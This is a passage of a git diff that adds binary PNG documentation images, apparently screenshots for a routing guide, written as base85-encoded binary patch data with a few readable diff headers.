z*&W3-wW$C?4EuG#P<5U#Wsx!A4IvFOeDVUCU=7{P@hy2A;;cZ@ic5ow^Yx>bQZrWb zb@-VRwS`&h2S$&wOLiNMCfK;bOi+iUE5PjGl9{ctvo469$ns&L*1U}!jo7u6Knu6nvcVc7>jbn* zM7N>uDbcKduAc|xe7%~qBATF~zpwLCaAZNLGzG19)k4XKm0Km)PbThF>WG30}QVXhHrW6WaW1&d0O{^cm!8)Fl&eAD+&V<_0y( zv_~NFtpJ^giMax|#C7JGN@_(iB0lHHoBj7h1O6>U5RYr1obi+WTDP4HJB0;7#83B0 zgd+FMi7oNJu36SFzgjC}n~Y`j^6Otsq{5M3)KiFtGC!jrQWpwRV1QCQ8;THQ=Jef; zc)pvve;;}diRyjIzg6IsxVW|yHf!?zV(Z(d^7leN7I4j{nV>VS$()v)9>tD4N}s{1 z9%Q#x!krd7Xpe4D#UL)+0jH zp{N9TH^QF+pxJK|nP$j52ZU8CEGq->=S6Kdx0N&DG8_5vVTV7G_co+rv%RFqlJDIU zIC>!_{D$K2W(l5G0XAIaZ`J_Kt|CD|=jKc4I3F6VUEo2FpJ_Z3Fl|pUJs(Vg(_0^O zd+zk?s5`dG^BVDm7@7Sps^lD&9G`($FHqv9@xj_u6Mmp43T(>Kao!}oQQ94r`20-f zQ8sVKs)Ly681WP6jQ$#IF3OQXUuUa|k-@~xqGlO1y%c96aG|umq)1OG|2p7z>3nq{ z`CKL5Z6W-Jk2eUl)=Prk>>@fyYPN-Og|iiD)@b)>bcWS0*1*kQiqeS%sW3oWEpZqM z=-Z#Jo`%ps>t_8+LNt@#m_uQ^K;CZIP-Z$JCvi_Q2+Ca$C0HyPI8UKD z2q6uDJ*I<4BqCMH?TCQ*A;FxTmfv4fh;(&67uaP@`8x5}1y zbS&wALu!XpEd+^Ltn=1Vl40~bn-^)jx0HqT4jN}Fq(X+r)cUFQI!tV5_i4$H;BD}Y z*G2EDk#{!Hkb0iKcbKD=rsV&h=^T&!y_z`Z1v^fc+?U*z&T?W?gnYk__pPK-5gw8w zxB4!h6_ih158v8>pd@iWb8rVgV#1%ZJU~7FIBRl=j#kfi+m+Bg1NcuNa2&L@vf4!|xhLsc{d$`PYH0hf&WaQ)Z za6^2>HK^q)WUtP>%yLH<2Lx-<4abFo`nxZtXrp}447WB!u6=w&qWjR#yN7#FyZr0F z!(S`~-kK13jv$097pf;f9d@smk^CSg5XrFymqkd5%%D$7klS`?a=@`ge(}W2v{qj& z4S1kEmo>97#uBf{?sObu77(L;&*kv1QNYaH>oVPq6@ zZhJesuh!J7;K&^VY`ohCcZYM0Eb*6zh@C=12x&?gEw3-OFey22_S-1Vk4J0E`j~gd zgs0jSSKS4j-V9@4!h~Fu{Pe3?dncUcE3d2E18HHFJ(4UPn8~q$; z7rC71w&dSK7+h`MZ$hmQg`RF8czqm#^hrL7jod@cNMaQMdYk&_ce)>Fm(K&0m0NcE3xb20wo z@$X#p7sePPy%Kz_oX5?L`>ohJg4cv0G{M-O%`?J7s)14xK|kJ1eEU2wXxo8v%e-Y3 zt1PH?mH?;sX};C(aZ{GHBlqgMj=3+}u|J$zGk^bj8dC#CUe^oyA15>XhEIsjtTL}^ zX>zYkF$W+08V&a5JJu`JfYO%gi^?nW%z5r&iFPYAz~#x1T&FMBWXh!^GZYd!uRg

% z=%GbyOX7B04m0FuWV{lzFP$lt17i7z|Nw@QMg?Olv?TIQ~P(X4{Bi8~4nUiRUP-olL6xzDTTZABYg)Et6M*qD-oLke{$7?GnOjtWrcOs~%L61Q36Ym*%OBfDlgH2@aQLZrG)mmmn?4xg zK(KUou19GS5=MQmY|*XZt|ttcHl0)@fFo};6p8ec_h+F6Y2KJ4Ez@M2Z^TEOpcz|#PL*8nt&$!t#?f)T2$W&ATmB2RqJAte+!ShoA%55?(k}1lZ zWv1#mtKD0Wz=^S0S#H3@Ik&2}Oz}J|;MDOx(2O zI4#HUB?Yu??iC_Nu$?W8C75*OIfYlm#ZaUF{k}jmRQj~xXpnJ)1K|zi%dSb5nD`{} zDthIf*(A*oK>$&l%}#49exa^S(2=Bk1+Qv+dU`QDLlt^g@N1;Ka&*BIVzd@ahL6E^ z;8E4tD;#u7jla4ym~1}#HG(myC}E;NO;NpSuE%OQ=3lli$vPn4ohYU0k^OdC%0Vt= zaPkQ>s~8J@R3QMpSv`rv%A zB;uZ3yskHWB{s#K9ki=nK2yX|Jzq|@0W-cj>lY0P_vc&7!! zr;3%$_~vTwl_b-lPUcshGUo%9ALCi#MaZ7wKGH$Tt zp$|emkutOtRXFm~>b0gz60l*Tj3S1lK^9C-G#`%ZXWJp@#Ne}S>ejPB%G1Bwcm^vG zQXT24-pSTlO|uKct?bH2g+WDl#EkhaYvgpi_!r&pi&_l=AnZ)&aaos~A#x6*ZG9$( z716~Zo~0n4Ih~ES@Nt-uG!|s(G=x~6gM*$40|vF?o_km#HGya2S1(34PVlb zZEM_t7o4CibeYg<@8&upgs^JN<-hr289{m9xFW7UYJao}&1>7bq2F>{s>r`q&jJ>M~H=-8-w}hQ3 zm5p;H`Y=6;(mEH~!aBoBZrj@z^m69-FfZnh#`Qj zr~D^;2G$s3%~81G_E%k)xC62ZH@Z~uAYWk2eUCK>g>~rwm6FkNC~clnL}03J z7;y&j|~s_FF$8`PqzsjT=i>ueUGGb{|TZ=e6_J zU@f(aG}V>aR)@Vx<<%0E_SB>}-m6|@hC)OfpZXSB=Nur21c@E3v&f(A&HhN-oIZl` z{QRgdsoCIRc?o_|cw-@8_!B-qem)sF4`#H}_LOh{DgjX?p+NkBi}S2ybpmua_ZYN; zCvTPb5^aZf?Cccnq#A&GxGd@K@UAN_=KYCq(K^_ zq`SMDJ??M!`@UU&m+SJ^;mmc-ob$fVTlaI{_p{ORp%Mj({<;cn)4o?wGHEqPZPtr_ zWP9#t&raKq&DQUiiTdMX%&~fblbx@5LM*0uO;XfIfl&bER##bLA9A32(}6~oXz59` zP(3@1k1F1zY0&YKZJ_gl6ssRVm5_030A2}zSFxhLcAVBw;-8+ zK!-wa?%SE^QMQEag+|!6;d{Co$V9yEbXF}Pq5e)e92i)V85D!DShg}OQ&lHoFH!W9 zs|1kz79+Hz2Xiy|sX86{)6dGr2`Y%2?xFU&OS@lsv~o&KsH;7hsbek9!_$Sf7xJM% zUy&5(e}vD`?HLb~TF2CYJa|1!LEc>-i-VwuCz1;v5 zD`~7_)c150+&l|Wkb+3HKY+U{CY_s{5)a&+uC%sZAlIpQU5%+vHl6bT9HRtA8PYO{ z4O_~x!$R87G!B?ZZdRkg7x95?>Ni7KLjaBwXndV52;Yz^`|MYid#)Z zkHE$iTmnv*mh0m#3m{yxn?_+lffX`Noeb)EEei8pcEp!5*2nA!a32mTcESwDc=ZpZ zjLK;t9s36(fjQpXIIo)hTt5pAgTH!o$CVN|%4;(}mFojGU7>dd$U^&0W>U;rI$bzL zPh3ThhV0v*Z+duR+w1g;Yk7tjEx#O(vmM5VaWKT(16Np1$Rs6sOl2F!>?J~%Jh;biv~0$9X9Gkd@f^20ihO%`Wre3G-rNfFHtsd702s2s0Twd~ffp$NxFb4Rdjw!4~fi!cBad+Y{N{V0srSiU3- zCr}BRaC4F?dRVv+p`i+Kk3vZ$(i&X;$;rBHv#}ob1f;C5?m+^w$b*r)h5JZ+#X=?k zXH~uCu#u=*KmP!J;b(HWIbR6nAyP~ys{_uI?NPY)u>r7vOYaWdW%iDhk>VNUIW>^& zc^jp*f9ygJ6_A#;8#5G5Q@6!Je$T4Qyir;q-@6qGAe5&75*UApsA#UMMS&`|TrY%> zy5Z9YgiGSuwibV}%CXgx5q1s028&wNtUdp9cSYQOS#}_=O~*e%hTK+_q}7ksK^O$x zMr;A6#sJsn>L7byL;q3YtuF{!``RUDeK_9~ZUsPrJylv$A@v8n7$zh-9ze}#&aH># zmbT0~C&#b4fV8wW86YFp1EEF4##(5!C&D#rf%N)v*IhfuHa0m`+`ZnbrGdJqW+>2l z)i%Q9T{IH!N5DT#y0dCAJdW#>cTCYnp`wpwAV>a7Y!S5vnx2w`KfD*a{ z6NMfA(Y;*XH2orn#IOO@QIHxz>-I#E?im`KQk__TbMCp1fp3J@06M=WlR?X)7R`oR zcW@rU8b6`lCJB|JG$G!Q39gcqd~cwAco{tKp)Cwkyxujsv|%c!Wd(z(Uya(UU3zoN zU7TI_JR9>ag)(3;)?!aAaQ&DK^k|D+9a6rTG?934Do%?NImp^$@bpH>#q?!LF>YDw%dU%$aQ849!DvcOgtc2Ka5{-DIGZw%JY3sK<)9GYL1 zu=qH^d&{|zCF*hz9JdO8^5NdI20mQ2nuHn*c_(v?Ar7z5nBRs-6_3xJH6pYEIE#Jw>5v#G?Fm#6+cbV9>PXh!}MFHI_i(clF>K_zPW zq$Zz$4aVFv>#8|(qHCV}2pjKZhz=1iJ1df*YCN2)_pajiWg+An5NDd^%hTP6^?MU6 zo0?@PP#r|3FVWjb+*ExPH3-rNoCN{Xm;Cm2IQz;mmz-y6b80IgevF3U3a=wLZC{>3q0zV|m zS$_k9tXd*2hP+=8eJk?LCR@<=0ac%!_eP0qSoo>`QLi@worW64moM>T&@=Q0cX|-% z6+@WFeg=StR1$7mn7$$5wYHb4X)dps@LG;1Yf5LFn&|w3Q~CKpfqfcEDm4{~1W_tN zc@q{x^mNlSF=a`VY5Nz@jv<^1C6^OiVO3{O-ZGf!g0?x8enK7V)lS&YWX~a;Gm^D0W{_9(S_P; z%RO7Y8fFd1h~furhOrcsRBSs!()=WtX1Sy9Yh7M>w8pp1607&E!VL`a8x#^oR}Dxo zwbdxDfkhCt_U8HoO1~?io0T(S-X(9D)gcND(*meXfS#Qx6BRC?NI=v0j=riwv(-<_1{;}k zb27u$G{^fu0)l*ncAGV#Bw<8L{kh&_%21Tr-2!OFy~G@KNHE#;kRKj^_gYO>DeD%t z-VhIX(xIVaeUTRcIf*}iNsIU0#2p8Pc0(LZ%)GOtY3d@b%B7<26E4qigV#4xlE+$Gw zOXiN-VY?;ZCziI@$c`UX?q{7_#UyQJ?{pGv7{cz_hhe^aw}K8W0czJM(@)~jdVXH+ zDKJb}{5N2NH0Ib$TJKDqc5${8SDV&fduJ527pag3`;>)l8(Ugk3v{?-a3MDzy` zu{zFtUlR-cSrQGH2d<$2?(!gSY}o-UBpf;r`Y)hlX+(R6c=57kyN0dg2eJ`}aM|D_ z@#ij&hpKn#jWD3_<;Kq#E1?_}_B2Lg0C$dfkwnV$p->m#d}5Iw9oL(15&~(Ddmv&e z1gydGbOrNwO>rKg7`jRZ*GOc3fxSxd43M@?5kBD+iiHYDx;P1EDlv(R>o@P$zt~s5 zzB<|8wE|~>+X!8cA=6`)18@f;CJ=ycBfNzGdg_bmF3k!nh3?o)93cG$(O@=OUBEVZ zI9FMI41RXUhyc~uJw8OO-~z8#IQZSC%vw6yW3HWgU}-N8yiBV~0rO6A@&?R;h30Ui z>K|1$gD>dGn6}S)g)4_jpb;pf=qfPxJ1Y~`w5G?Esqady)6ljh8Th#55wJiDc%x_~ z+DU6%tGT&f^-|A=E|fJedbAlhi-85f67JFoGakeuDSy z1aLO&U-NG3L>&wWaCvdfx*zu;RI>MeL~0Y;eD|1VL}DVS)0J8_? zTF2c@b1dW@By+YxfdrH?SdzxE{$_C@<&tOp2rfCDP53R{)W6AN`oJpHJ;UlzHtck@ z050gj&&%en%rM~)i@6SaJ=#KV-F?#KvEx4;;E3&i+!OQSWbYBeDJ=PNmXBUxyheqq zCz4`3`f#ybnrF>k2*eRHcB4fXclW;OvLpkuqrRsnVhwT)K>z#e z`PSsISny*HAXC3pEhf(T~%Z55(lkO*sc}B+Mc6aBo z@3*XkQVWwiQ|xcdx%vtCuMCiGIDGDMS}(E(IG%p??sUWpHI5sW!^rHqH?-!-FDBnC z@(16ui5VI5I1#0jkGZs(PRF2ihjp*Z9fq8|1km8apxu&^^hzL%@l>Zh7BG>oMwjVZ z>fXLJp?0o{wHb$h^l1oEYE-lZ>NeGf$LhHaFBVF9+pX}GTS%I~$(!GZCchv)B4TkV z0;^MSidJnKMN3Hrw~f!#)r+7&sX9Q0=GeVtp~K5P2_H&&IJCDjzAvx4hjmY2OAKJ8 z0pqQ(_gJFhSMtMK)MtsX8Z6{0?L^tje7yc`29I-OS~0Yi>HO{Mz!40KO2KUMT_GUp zXac+M`8CCD{hP@r6^O$Kmt`_u(;z5wCT=1#|T zrQg9QpduMJeQlBvC*bia**I4q@Y09N>k)#RqPbH~;|dkN#hiRFfH99r`f9~inCSUK ze*UNK6nVC1`{FNs$J_8XZKH(b%+&-gNZ8aV0GLGAVaN01vZ;`iq<4J=b+5m_uJraD z`r4(FnVVNSE}_px_Y)IbB*=Xu2mQ!HmJFJ0 zcXd8SEkBgkK!EYss%++nwK?;Rwtd5u{cUZ4%3Kja2AH{X=ghC?b3I6-9ciWxK%jspAvO{sQaPH)z*bXK%|z$v zco~q4hbbaJ#C%BCkSV1nf4x9u#FZ_1&VCIzh=Z_;x1F9zKqhNlg9v0I0Q+WuA!MAp z6NrZG$vs!J_W~`E%42_zyzybcIvrq<9kT1 z(!(W?lsFZYXe@64Gcl?_{xKTIq&B<^KJ(!`U$Z6-uo1Uwtr3R53M5#T<*4Fi8q8%0 zz(BjF#eU?mpkXNX2RvP0&(~JO-l7SMOMJq4WP zh98~8%>AV0`W_&ELXJ1No&`z!mJg{`U6qAn8_|Is@dObPl+d=oplDNT*1v#%D>+V&K|cMiYR4)>QNegv|6M_Z7zC%#{MRElJXv zZLgN5-_UY*OQxCy9Yp@90fb6C^TE2DmTtfZF9)t*LCw(E=4*q)NumZZ zM^HCu>bUQry)-9v-JJ$RJ+9)j9?H)puAkIm?CMFlyolO==Pq1kO@{&%lZ7{}p&v-! z++6QW?wXPy>wyFe_WqIKAtcfFbaD$I(>Jb4n1Y_#M}&&22eg}xEydoXypTULwd^p) zVGf8U>R*Pn7!Zm`3jZu7ZDuza!`PA|nk9^ps=Jfu%|;bV9(Ak2CbW1&Y8ylr(zmQv zhc|FpU6=0X>R9pbPUCru;jAdoXG|WKdsK)$00ANd(w7sD+zwZ*=-{b+=ojf9`|t*Q z`!#$T2Lb=}(uZb)%;u4+DYaV_Zxk|ED@#_0LBL^?wLTzPcAAnxgsPMWmz3uTq#$V{ zVuhkYncrR}QxyQL;;tomEWeT!6c?y%m zy|8z>KsLkW9DqqZEnbPQ6jIy5L#fL0HLibo?nHWUoc@h#zan^{GlpL#dbKJ-~{iFqiD4?zxf!Az$Df!O41zcc97H#bO znx)1n$n@e~!^!DZNLua$u-TNsP@Ax+$82OJP%)p}F?mP8Rv~$J0!aO2VOj*b8{5n_ z3i^~-?_m`j**H(ybsg>HnXPP7NVv$?A_(}1q41=$%6@d2p$5i)Ue}g+8XjXC%u(X~ z>Ylj!T>?aNQcaFR*w=Flv|LoWU;%;;#Lzq97q628zlYR-_5eG=z7hd+|52cn%D2n2 z8A{I6l~9{>P;=l_<1(;$=BEA*q6TGEXd?PKnRr4N!A8I+^akND(e{?6VM|ef(g6SV z8iI$fFMxe%z~I-*vKCMgu=PPqCp@7TIc}?(uXF^@ci}E~sZ3U{Kel)wiwbwwk_1id ze7%uqT^TVs)X>v=wHSC&o}{!bW`&U~5A*|KoD>t7709vD5ZSa{Gn(_9WL~U3B&+c&H>}Lm^J3)-;?9+^y9q zb4vkw&Tl?c(qgJy9tWDJ0 z^CEOjn?-S>Opj>eR~4@m)6aOPD-EG?H64nS!eTlkIp^h^xBkj;-_Z~E%j54x5BUxP zkUqEbnQK zs=+FCz_yAt{>g}F7EF_|va&@2!>Q{%R8-Q;%CBAtf*p&tSl0Y$>C{8g;}D>w5euMM z0;pxPDrB=1px%pdYV)l~f+z1y40#CbUFw*rR|*{FOp&Pscq}M(5sb+vC**rnrL5wG z&f_?{9ay08oQ%Sdu+x?Cj|I;R2V#0zjnWn^9<*1mk93A(Rl| zE~ozfcpFVkbR@Sgms1kt_7WOgIqTf0&71CyJEqIdSjv2b-I8Q}3ew7q2IgGKc|0H^ zjIx)n|24g-M-qbU@Hr3zY{G&CFj5~pM|9zxfd>R}M^nDQW?PtP*=PVJBilLtq4t6f zd;;K^JMI|8@V_2|*e|=M7Waiv;&PS&NPL{7b?sgSLF+8o4nWPDB-CqsY_e?ET8TjS z->m_J3f}qGpG=-4`sanaBIz4GA$9b7f1<}z3Dz_(fb=jK_=&tdL<=CiheB9mvfqBe zm5lGW7N!GpYFA7mLy!i*s$|-Zt1oOj&#=JLA}Ha~C|398gu73jZe^{&N7>>he?76p zpLSYa63sb`t(Gnr4ZbjvtD>C}Cg0pw`Kia{0Q^2&7%v6C0@BCWw3F;GXiLykIn`^{ zO7OM>eUCQ9f}CouSGkH_cD%+h|MGleXMGt*F!KI8f|QkB@4n`ZB1#H-)$~tAZ)kj& zlHJy;cg>NWG~BaNKfG?{`+Md>GP{92-_{C?m^{HcnqkRQkqge)TcxnwJRAQM$C0m( z1?l*I4RcizgmIv3pbo8PWI9*2>p|AJIcaiQ3L2WBOnaEuShqF;oEvQdDCG*88?11; zedPjv>JZ~qdE<7*2(EH`=slZ-rhEjZ9Y=K$d2`Ry5xanSAwP@o_-Bj!h+fQv+3s$na`qg;UBZNQy9q(JKpmqNa8i7Z3Wn=`MWP}>X<3d z&};LaGw%~ONxza0p$gM+cBrr=Gn&#`=hP{Ml0(7cHQOv`aQ+Bt?V=czxgB}W=y=** zr4<9}Z)&o5`}k=Kgw&sbGC(zd=8s=3JM0WGOBnYdBUw~{&+}-)j z_RC3G|n2nu;k}atKhwU_oD}X?D4+|9v%KWlDuIM_Zm z%$Qz0+ioVRU=#RyK-Z?%z?(qX#wkX9xi`sFs-idPgtO4x*Yal0Us^^d)ag2q3Kfbw zcdLc0)ddaCm+ZPLm*H7kQGz>p|1oZFgA^8$)*U^HG*(Pq+a-*i*e>EayR}YA*y{GZ zk$N3{F%+BDIZ>odzfByyzQxY8e@t;H&!+Eg<>{n!Ge6Nm-mrmXYk zlPGhwuKEd$xvwa%n7|kW5*=FLCG>%QCA?8p@~d;|yVJpPV#W0ocKFGz%VvX_UG;O8 zaV!AspZN2Pm%jOVUVrv0doT?k(IxN;3y{e-fNGrx=%O{9^NIqQ+z#E7{a8<}%1q7K zJnxCmK)pdfdFlEF=dUMSNq6jw#T}OlRp++fn_@qtHB?emj-8X~;nLJ-_DUY)?LyLf z=r>197tYBkqdWJ#e}LCXSas1mYLoH#KxBV1Tqja{SFA_3%1Jmq$jwy#h7;=4VHPmy zC%d^8nN01DLQpDCSv&+Xi`+js|A=#)GEVqeKr$F!UOuN-ihGf+1bIl#y7?5?j8x`= zPp>g{@+@{__ssq4Q18ef%}0xp4%eq-DR_%qPBeU{?(;>xM+MK5z!w0#Na5ST!lMYl zASLM*RTX$fdDb9H`_m>)HO8+%kK0dCm@0t-(8zge`AdOJ$@l$yfbvu&NP&PCMz_uY zwGyX%>~*SgZtpWDL;u}e7!^R1tZuUvcs&-)NXH+24@@`Q4XkbiR`?IdUj+dr;aXBy z8UNM7s?|?PY-#wSm|Mgb0c;dq%eeox*8Z9GZATLHZbQ9VW(|rQ?sfJKH2_U#elmnO z-PID@KX&$v7s!^AmcCCnch7Q^w2Gu1zcT`_r*7Z32H#rs1llQ9SZmjp8-Y%f*j}iD z9o!Hgq=>KyPhMHyIs=#DrYhM|6N4nu=N|(thrm}%1pK!(vz{bn(eBeFoovwY<9tB!x~ptk^@H#~n*>$^hIJ4u>iDXZYkkUEvl|zA`b)m)HsP4z&xmw7mHK?U>Tni- z1ORDp8}I2-tbRfi9B_%|*+{>VD9`$-hpchh(lL6FwrcQZqM}g#wRW{#bOZa_K_Gih zas?N}@4>qA@i6Vd^5s{%+Xjl3!}QG&%T)#Ba~B~q_k7nVlO9A{{lH7=N)~p_toFN1 z+>_i)upMdCk{N48TRF03Jo71y>VyzdU z`B3%^buM2az<0H3N%6V{D%@PAy&kF6V@kG3a~OYb=KPe=<4wyI@77>F*})JcPt}dO`uL^#HTC$U;Y^?kOI0( z5%yo={hxk9Fli#@L2~a#gN6WEaD*mL(5)8zfCjyux}^iN#FoeG9TNUJ4(tr!W~gAi zql)VYSCa2r6l)NLO5wJH-zf6Usdh9ihAlf!y*{689&$EcYe3d$C%~ zuDru>up3S-JLR2D$60kgJuGDOlen#4*WSOqUSJdia#_vnAtlD$x$sM1k=;#;-U0)N zg??L|cHI3<7bt@PrjCbk1=Vn_9d*^QW;AamOjFDF2j}lvAcN)hVh+*XE1IT5r;ZGk z>&K#7O>lwp_mMC5|Jx@N1P(hj@(u552k%H|*C*`yU2V zEKlFM0`4KC(Hp3R!b1ytfD%G*J9{n?+jx4XTT-)#vMmYF+l}(+Rlk6_t|l zUdFGoyua@NL^W04a8*YQZI4hLlBS)1(Qo4YOU^}J#(QN-x|w`yuv*(G%7Vq6^|2O* z|3U-$hbKy>!pEE(ISBDRdJWz9r=h}8@vzd>jr%9%-MCTq{*3uPb_e-rWk!-Ei5xck zgmTm*$2Rz?_FF0MgKIE9^bun z*NIMj_vp-h{>UxT%`vQ(^}WXOfOMSds)%MLSRm6PMrVxeYRc!WB%3U81YC=h9tw?Aj0ES{0$3a3-?eY_fm2GF79zd8wTC z2Z14Yn=1_VXMQTtQ=)jJoXWk97+gf&Q67dIu zfPoSt4O=qmZzJyB?XThx#4X8?tmP?|tAf|Bl#551#Po*+Q%3&wzKZf3ERaB9k(vE? ztasNw|s2$CR~M)d0X@i;L{X_3Ki5d`l1m!=dN> z3m)!*93u8Vcy0!%hBeg#m)U!VS+$Vpe&0;3%y4dUrA9u3UXiK9q`yt}`p>fOdL~=> z5eT@D6(^Qh$2eFfoI#_YV5{Ma*jU4p@L0*;jVuPGZ>Whyyi{0lC@O0)|7W{tH6A}! zGchm-%MSOsA-ArM&wxSU|L_kKP|=cuRHHusANGOI-90URU{!keN1t$-(}eskuH+yp zAXpAopql#R9yxz136^D!yl_v{hGLr|3@Kfz0`gHOZgJzr4J=#Rad}=#2l+&bwwRuB zS>|5n5n~h0&Y&cS`eF1yE^NwuFyBYR$vWnGCzVHO{1#%@dMefRu9K14?*b2qKxTO4GpqgeBSH4 zZRs&sqx{(hr)KBe4ut%=I)1#(p>yvaJA%K0`|k_HKH*!<0J6t&0xcrChUjwf*9}l| zJ7Xh$kas*YRvUbOLtNs_^(D+xn#2fA`~mKN@hSLk{Hx z2B9j7b$TPCN5l2*x3T_LyEHtSMF)0rT<^Hk+5eite}57GWEKU4WLo7_?AhE{90m?K zfA!#RE|?KSP%zEM2ljzJfA(aM1xzXsqNGr7+4`~ULmc;m>qFak{`AeC6S`>kowJi*XbASz zBVhp{tb|TO-!9J05ikEVM#||*6#6QP-}#7F^$F#{0v@vx(&R+0otp>z`By+nWcv0s zfp(A)o`^$%vRad2X0Ng*AqQ4%e-(NE(hk5t&LF)lfN{}Ih+&&&iw0L6qp>>FOM0mY zzh(GG{fHQ1c$?^>A&t$pE;98D_yYBal2S!rl*zGw`pq=)&yO;QfzIH=&lRZ3EC2Ku zAXd?{61q8h*CLyb9Bb<}|1cc#Vj4EwPK6J7HCh{CblLAqV6P}uQn@u&PDV$o&xQJm zR(_>{{WS{yc>ys)P41@`%`N6qCGY0yQto00kGH8Yx77C>4r}TAuUWjUcN!r3(=cfz zJe5vJC@981Itr;*&*3H?GK-f7Sof1Ge>UL& literal 0 HcmV?d00001 diff --git a/docs/images/codex-claude-routing/03-anthropic-advanced-options.png b/docs/images/codex-claude-routing/03-anthropic-advanced-options.png new file mode 100644 index 0000000000000000000000000000000000000000..0e0bb19d49d369fa126461c76fd781f5c8328dbb GIT binary patch literal 387591 zcmeFZWmFu|vNjBXAR$N~f#47~x-uteQ_wTpXowa(Vr>A%K-nDC2J@r)e1gk2`Vm}~xfP{pEEiWgfj)a7c z0c<)LXuuI#@>EA8q=$-@l9H23M=sFr*glT%})TkIzVz1Vf z@S^a=USY8K9zFZ?O730&zKMitS$61yVgsqttZ!5ykLW1o9lK3yZ&xFxw#gHDqMJGGI zSNDbB$rGHn#1^-Pa2V33^2W`K(F^liAC@-~QTj+o`1c)?R9QPeo>3vW#fUNXp!h!j z*l<27RDfR+s3VI;9#H!#nDce5eDKKYGpBSV{f9)09Y~R5=bpM~NF=aG^A#+P3>;Cwc6 zJK%D)8=ai}G@*?|>sV1&?lXs3LQTh1OxqV7@31&K^V7Y7@6$0=F@6_{ z$)&AwCw<4mUI>lBua%?2fwOWE$}bmlkEiy@VnuROUo0MPnS|d@bPUGRpvLJWVvrL1 zj_ep9B*^o9jy{JfhViLYNw(PbbI`J77iiJ&r}{Gy4bP%%T_VT4*(`_5N> zwd<4G=I0DLUCH8P397)$u1K89tC>|!=UQ@W`9!eI zPti>jn3gDM%2HZ1e3VbrKdG`Z5V!kM^!XmRMb**6}{#|QgN*)0(&fzqyHziFACz`+QNL3gPC@x)8)06*+*`v zOZ!JxdjS_a&y^p4;rP5LTShFP-lp8avLA}ekAW8DJ9&_$Hy(M?eJo2i^^ z*+ZbzqtWzvwrhBU!%@bJA{6EJ=`%u=XAWd7P9P@`irD$Bnim`{b$YFhXVwF@yP-sK zqukxu5k5%862|!<0zQ-HyGpGvZZircL0ZGbdR*@LB#4O(^=u`htwx3NDT?!3lqE+r zyB}C*eqwkJo{5vm-6P06O>{`@`SF^apch3t1C<%wT8w`ZwfX~NDd{%)aRz1zs(FjF z1F=3jcz$yOiA{{x4PAr=Lqfs=17%275l`VKg`>>mCtUnb0W>e=@S{WCQ{hYb^-8VM z&~?80N;dW3HO*yYTc`Z;z2U%F849Y@PU~fYkj%||9IJpgnKWuV-QsP7d@lEr{FKG9 z2Jf${S3WF~0%y9e%O5@SAh(q@$`F3~W0alVEQJ59&F4_*cU?LH^lfG)?K&^Cg2 z?eQD6PnWT7(jQO5+PwVy zqhF6WFf=fw1JqkVt<47_G3>qU}QlD<;Ys!iX6zP2P@ zZb;?RH`$fXs+_9gEOtigGmaILzuM-I=d+9&W;AMEemS8*`^9eVKz#3)=P#aL#4vq0g23R2 z;K}z@U5+tp%m#!(v2Bbdsb;RpBuRk@jEXf0)k)qw6+EH5Ok6W2pn(*tejXKGBU`u) z+}8Nr%kg))(qZkpagPpUiPY9OkzaxvRRg z_akcKDMDvmXZOtMYkTK%6q8IE>3Lt**ozL!1+wvC*f9P$J0~&y7T%Ap0-@J zE`#g**`zYfPG#Unbv7<_E8Py{TlIrgQ^((up~<~P<3%H|R^c(P#!IDY9Kn#r057=z z{KD?bj_j_b?7U?2v^DR6<_5Bc@f1TbZveT5? z|hF35Y;TcUZ#TZO+mg}I-#U%`jLC-Ij0_EcX5!Hft-Vy5ED;LG4v6=WAF725NT z)K!&HRZ<0)TJL?HC!h|9ERB3Z&Fd~Bgj|v|LB2^Lz;xu2;Gtuq<38Eu0CmuHThei{ zS)bH2*_F|ek$bjDBTmcaq`BPqd@KKjnrv3^klN6bA(eMB?Y*D*iF!VzK8A9h7^L{j zme&gI^X!M5t)hBJypnKjz5MC>Gd6fx##>D_mZHx zzD9_;onmPkyKU>oU^D_}dWux3^q=W2RI!ms3H6-ESfbHJUAyv2IYla4gbw$u@3RGX zw~n8s)i%I)uDy!R(#-0kdG>LS1Rx(y2q1~GRHheZK z10j$7`u4eykL}HIe6e5RJawPx9Bd6_d$V5Ffh{kF$4%{ecvu-&Qpz?>n&Mai{9Bnblr5@1VUYVCcIt@FgF`67?qhfE?l&4 z&DrDG)s_$0o9xhME72v3*b>?|RnfUA802W0ZfGrzUlplT)7c1~VqL~>?x4*mRQtfF zr-lrlXt>r-H`aUPE%cjmTZCohI%{_q_droVyrTl6c2jM$8s$XWn%iDYY_4-**T$F0 zxTUzG6qQ1?H+V~`j^ygRjm1!ril#>Dg3KL<^@UZLl3$XtWD(mI9JYmgg%Fpimz!nx zJ3JzY$aeXug@;@@mX@VoW|z;>DU60O|rGw{X_U#GOL>*-xbs4 z#6_qb(bgM%J)G;+iX!$n%YU3De)e-y*^B>17m_icP-&ejrMNM2e>n$Cza4DN-w;q2 z=u+&q=I$1q{n6aE+txvK9Yf*T4RjWqK1bv;c&mCGb-h2E_fthhROMRYLj7dy#CoZw z)E*3RhCp&WiJR@2e34g%=*fL21d%f6kbn5D$!xlfotKtS6>{2A-n+&8)*tD0AE9rx zkS0=(g|M@`R|+OY(o#)NyC?P-+m{d5H=IIP2fg3PYfagdy0xOk>}H~JmTS*GWK;3N ze@;>_n8z6|nnB$R&~zlVerWQm0OuXB`v&)=^|VEf(XpPwkvfk?mag%50Q z8TbC{Y;=qalz;E*0KXxLYe>q=1D_fuPNt@I&KCAA-XF>ifdiNha=Ok)NQ891H)MHr z+CAX!q1-lzR|y5|Lmu!o8^Ds$^6{|?{iDJE_0xaf@;{pD{AW}4|D)-D{PaJYYC4-bN!r^2 zH+2#D?+N?YegE^ve>D_h`#tvmki|a*{g0!7q(vSGvHg42L>`EVP(KGIlFU*{lEK( zV)bioFx+oWq#+?UI;z>HhtH*9}{1cg(8As^7RuFk*eOjv~w=@^!oFy`jXu9^?jYg zV4n2nhrzwKW3JZ$$tnTorBuF1_b~qarfPsX+!yvfNu_XtfyKuw{Tya3@?y23#}kyK zl67vwn_dK5n~m=I^XC&+aS%*KYixSFQRl7X0moJ6xO06o5thE7`^czxVn}zqT``qT zzdmg`_p}uW?K4ltd?>tHGpbO4B0=zQoL!s0%M&eez%{4o8N;9Z`Oi^^x!*T@`J};0 zL^L^rJ)0{wmXE5JQlc`Z;L7lDLoF#(mGF*U{G*RJ!9N&s$7OrXjpc)=Sk%NUT3ZBi zhkcRsU1I*-{nrUU zh*rD736Xmxi*HnIfLn``tGfiAb1@d{c_#@LN)){BF(XpO0C83j9@2@_y(_ 